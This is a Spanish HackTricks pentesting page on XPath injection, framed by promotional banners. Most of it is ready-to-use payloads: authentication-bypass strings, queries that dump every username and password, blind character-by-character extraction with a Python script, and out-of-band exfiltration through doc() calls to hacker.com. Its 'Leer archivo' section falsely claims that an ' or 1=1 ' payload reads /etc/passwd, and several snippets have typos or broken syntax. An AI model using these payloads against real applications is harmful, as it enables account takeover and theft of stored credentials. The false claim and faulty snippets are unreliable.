hacktricks/pentesting-web/xpath-injection.md

14 KiB

Inyección de XPATH

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Sintaxis Básica

Una técnica de ataque conocida como Inyección de XPATH se utiliza para aprovechar aplicaciones que forman consultas XPATH (Lenguaje de Ruta XML) basadas en la entrada del usuario para consultar o navegar documentos XML.

Nodos Descritos

Se utilizan expresiones para seleccionar varios nodos en un documento XML. Estas expresiones y sus descripciones se resumen a continuación:

  • nodonombre: Se seleccionan todos los nodos con el nombre "nodonombre".
  • /: La selección se realiza desde el nodo raíz.
  • //: Se seleccionan nodos que coinciden con la selección desde el nodo actual, independientemente de su ubicación en el documento.
  • .: Se selecciona el nodo actual.
  • ..: Se selecciona el padre del nodo actual.
  • @: Se seleccionan atributos.

Ejemplos de XPATH

Ejemplos de expresiones de ruta y sus resultados incluyen:

  • libreria: Se seleccionan todos los nodos con el nombre "libreria".
  • /libreria: Se selecciona el elemento raíz libreria. Se nota que una ruta absoluta a un elemento se representa con una ruta que comienza con una barra inclinada (/).
  • libreria/libro: Se seleccionan todos los elementos libro que son hijos de libreria.
  • //libro: Se seleccionan todos los elementos libro en el documento, independientemente de su ubicación.
  • libreria//libro: Se seleccionan todos los elementos libro que son descendientes del elemento libreria, sin importar su posición bajo el elemento libreria.
  • //@idioma: Se seleccionan todos los atributos llamados idioma.

Utilización de Predicados

Los predicados se utilizan para refinar selecciones:

  • /libreria/libro[1]: Se selecciona el primer elemento libro hijo del elemento libreria. Una solución alternativa para las versiones de IE 5 a 9, que indexan el primer nodo como [0], es establecer el SelectionLanguage a XPATH a través de JavaScript.
  • /libreria/libro[last()]: Se selecciona el último elemento libro hijo del elemento libreria.
  • /libreria/libro[last()-1]: Se selecciona el penúltimo elemento libro hijo del elemento libreria.
  • /libreria/libro[position()<3]: Se seleccionan los dos primeros elementos libro hijos del elemento libreria.
  • //titulo[@idioma]: Se seleccionan todos los elementos titulo con un atributo idioma.
  • //titulo[@idioma='en']: Se seleccionan todos los elementos titulo con un valor de atributo "idioma" de "en".
  • /libreria/libro[precio>35.00]: Se seleccionan todos los elementos libro de la libreria con un precio mayor a 35.00.
  • /libreria/libro[precio>35.00]/titulo: Se seleccionan todos los elementos titulo de los elementos libro de la libreria con un precio mayor a 35.00.

Manejo de Nodos Desconocidos

Se utilizan comodines para hacer coincidir nodos desconocidos:

  • *: Hace coincidir cualquier nodo de elemento.
  • @*: Hace coincidir cualquier nodo de atributo.
  • nodo(): Hace coincidir cualquier nodo de cualquier tipo.

Otros ejemplos incluyen:

  • /libreria/*: Selecciona todos los nodos de elementos hijos del elemento libreria.
  • //*: Selecciona todos los elementos en el documento.
  • //titulo[@*]: Selecciona todos los elementos titulo con al menos un atributo de cualquier tipo.

Ejemplo

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Acceder a la información

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificar y robar el esquema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Salto de Autenticación

Ejemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Bypass de OR en usuario y contraseña (mismo valor en ambos)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abusando de la inyección de nulos

Username: ' or 1]%00

Doble OR en Nombre de usuario o en contraseña (es válido con solo 1 campo vulnerable)

IMPORTANTE: Nota que la "y" es la primera operación realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extracción de cadenas

La salida contiene cadenas y el usuario puede manipular los valores para buscar:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Explotación a ciegas

Obtener la longitud de un valor y extraerlo mediante comparaciones:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Ejemplo en Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Leer archivo

Para leer un archivo en un servidor vulnerable a inyección de XPath, puedes utilizar una consulta XPath maliciosa para recuperar información confidencial. Por ejemplo, puedes intentar leer el contenido de un archivo /etc/passwd en un sistema Unix utilizando la siguiente consulta XPath:

' or 1=1 or ''='

La consulta XPath resultante podría ser similar a la siguiente:

//user[username/text()='admin' or 1=1 or ''='']/password/text()

Al enviar esta consulta maliciosa a través de un parámetro vulnerable en una aplicación web, podrías obtener acceso al contenido del archivo /etc/passwd.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Explotación OOB

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Herramienta automática

Referencias

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: